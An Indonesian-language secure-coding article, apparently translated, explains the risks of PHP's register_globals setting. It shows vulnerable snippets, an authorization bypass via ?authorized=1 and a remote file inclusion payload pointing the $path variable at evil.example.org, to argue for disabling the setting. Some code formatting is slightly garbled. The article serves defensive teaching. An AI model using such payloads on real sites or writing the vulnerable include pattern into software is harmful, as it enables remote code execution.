Parameter register_globals dinonaktifkan secara default di PHP versi 4.2.0 ke atas. Meskipun hal ini tidak dianggap sebagai kerentanan keamanan, hal ini tentu saja merupakan risiko keamanan. Oleh karena itu, register_globals harus selalu ditutup selama pengembangan.
Mengapa ini merupakan risiko keamanan? Setiap situasi memerlukan penjelasan terpisah untuk menggambarkannya dengan jelas, dan sangat sulit untuk memberikan satu contoh yang tepat untuk setiap situasi. Bagaimanapun, contoh paling umum dijelaskan dalam manual PHP:
<?phpif (authenticated_user()){$authorized = true;}if ($authorized){include '/highly/sensitive/data.php';}? parameter register_globals diaktifkan, halaman ini dapat diakses menggunakan parameter ?authorized=1, sehingga melewati kontrol akses. Tentu saja, kerentanan yang tampak ini adalah akibat dari pembangunan yang buruk, bukan akibat dari register_global, namun hal ini jelas meningkatkan potensi kerentanan yang berbahaya. Dengan menghilangkan efek ini, variabel global biasa (seperti $authorized dalam contoh ini) tidak lagi terpengaruh oleh data yang dikirimkan oleh klien. Cara terbaik adalah dengan menginisialisasi semua variabel dan mengatur parameter error_reporting ke E_ALL sehingga penggunaan variabel yang tidak diinisialisasi tidak akan diabaikan selama pengembangan.
Contoh lain tentang register_globals adalah masalah mungkin timbul saat menggunakan include untuk menyertakan jalur dinamis:
<?phpinclude "$path/script.php";?> Saat parameter register_globals diaktifkan, halaman ini dapat menggunakan ?path=http%3A % 2F%2Fevil.example.org%2F%3F parameter access membuat kode dalam contoh ini setara dengan kode berikut:
<?phpinclude 'http://evil.example.org/?/script.php';? parameterallow_url_fopen diaktifkan (diaktifkan secara default bahkan di direkomendasikan php.ini), ini akan mencakup file jarak jauh seperti http://evil.example.org/ serta file lokal. Ini adalah kerentanan keamanan yang umum ditemukan bahkan di beberapa proyek sumber terbuka yang sangat terkenal.
Menginisialisasi $path dapat menghindari bahaya tersembunyi ini tanpa melindungi parameter register_globals. Namun, kesalahan pengembang dapat mengakibatkan variabel tidak diinisialisasi. Memodifikasi konfigurasi global untuk memblokir parameter register_globals dapat menghindari bahaya tersembunyi ini agar tidak diabaikan sebisa mungkin.
Kenyamanan selalu menyenangkan. Dulu kita harus membedakan secara manual antara data formulir dan variabel biasa. Juga sangat mudah untuk menggunakan array global bawaan $_POST dan $_GET, dan tidak ada gunanya mengambil risiko yang disebabkan oleh mengaktifkan parameter register_globals. Meskipun saya sepenuhnya tidak setuju bahwa mengaktifkan parameter register_globals sama dengan keamanan yang lemah, saya sangat menyarankan untuk menonaktifkannya.
Perlu ditambahkan bahwa memblokir parameter register_globals akan membantu pengembang lebih memperhatikan sumber data, dan inilah kualitas yang harus dimiliki oleh pengembang yang sadar akan keamanan.